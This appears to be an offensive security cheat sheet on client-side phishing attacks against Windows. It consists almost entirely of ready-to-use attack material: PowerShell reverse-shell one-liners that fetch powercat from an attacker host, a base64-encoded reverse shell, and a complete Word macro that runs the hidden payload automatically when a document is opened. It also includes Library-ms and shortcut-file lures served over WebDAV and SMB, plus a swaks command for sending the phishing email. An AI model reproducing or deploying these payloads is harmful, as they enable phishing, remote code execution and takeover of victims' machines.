Client-Side Attacks

Microsoft Office Word Phishing Macro

Payload

IEX(New-Object System.Net.WebClient).DownloadString("http://<LHOST>/powercat.ps1"); powercat -c <LHOST> -p <LPORT> -e powershell

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Encoding

https://www.base64decode.org/

Now Base64 encode it with UTF-16LE and LF (Unix).

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Alternatively using pwsh

$ pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

Python Script for Formatting

str = "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

n = 50

for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

$ python3 script.py 
Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADE"
Str = Str + "ANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAP"
Str = Str + "QAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQA"
Str = Str + "oACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9A"
Str = Str + "CAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGw"
Str = Str + "AZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAY"
Str = Str + "QBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQB"
Str = Str + "zAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7A"
Str = Str + "CQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ"
Str = Str + "AIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AV"
Str = Str + "ABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQA"
Str = Str + "uAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwA"
Str = Str + "CwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACg"
Str = Str + "AaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8Ad"
Str = Str + "QB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQB"
Str = Str + "jAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiA"
Str = Str + "FAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACs"
Str = Str + "AIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAK"
Str = Str + "ABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQB"
Str = Str + "TAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuA"
Str = Str + "GQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGk"
Str = Str + "AdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb"
Str = Str + "gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgB"
Str = Str + "lAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuA"
Str = Str + "HQALgBDAGwAbwBzAGUAKAApAA=="

Final Macro

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
    Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
    Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
    Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADE"
    Str = Str + "ANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAP"
    Str = Str + "QAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQA"
    Str = Str + "oACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9A"
    Str = Str + "CAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGw"
    Str = Str + "AZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAY"
    Str = Str + "QBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQB"
    Str = Str + "zAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7A"
    Str = Str + "CQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ"
    Str = Str + "AIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AV"
    Str = Str + "ABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQA"
    Str = Str + "uAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwA"
    Str = Str + "CwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACg"
    Str = Str + "AaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8Ad"
    Str = Str + "QB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQB"
    Str = Str + "jAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiA"
    Str = Str + "FAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACs"
    Str = Str + "AIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAK"
    Str = Str + "ABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQB"
    Str = Str + "TAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuA"
    Str = Str + "GQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGk"
    Str = Str + "AdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb"
    Str = Str + "gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgB"
    Str = Str + "lAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuA"
    Str = Str + "HQALgBDAGwAbwBzAGUAKAApAA=="

    CreateObject("Wscript.Shell").Run Str
End Sub

Microsoft Windows Library Files

[!IMPORTANT] CREATE THE .lnk and config.Library-ms with Windows machine

Phising using webDAV

Installation of wsgidav

pip install wsgidav
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /PATH/TO/DIRECTORY/webdav/

config.Library-ms

Put the config.Library-ms file in the webdav folder.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<LHOST></url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Shortcut File

Right-click on Windows to create a new shortcut file (.lnk)

Put the shortcut file (*.lnk) into the webdav folder.

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

Phising using smbserver

impacket-smbserver share . -ip <ip> -smb2support

config.Library-ms

Put the config.Library-ms file in the smbserver folder.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\<LHOST>\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Shortcut File

Right-click on Windows to create a new shortcut file (.lnk)

Put the shortcut file (*.lnk) into the smbserver folder.

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

Send Phishing Email

swaks --server <RHOST> -t <EMAIL> -t <EMAIL> --from <EMAIL> --header "Subject: Staging Script" --body <FILE>.txt --attach @<FILE> --suppress-data -ap

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Last updated 27 days ago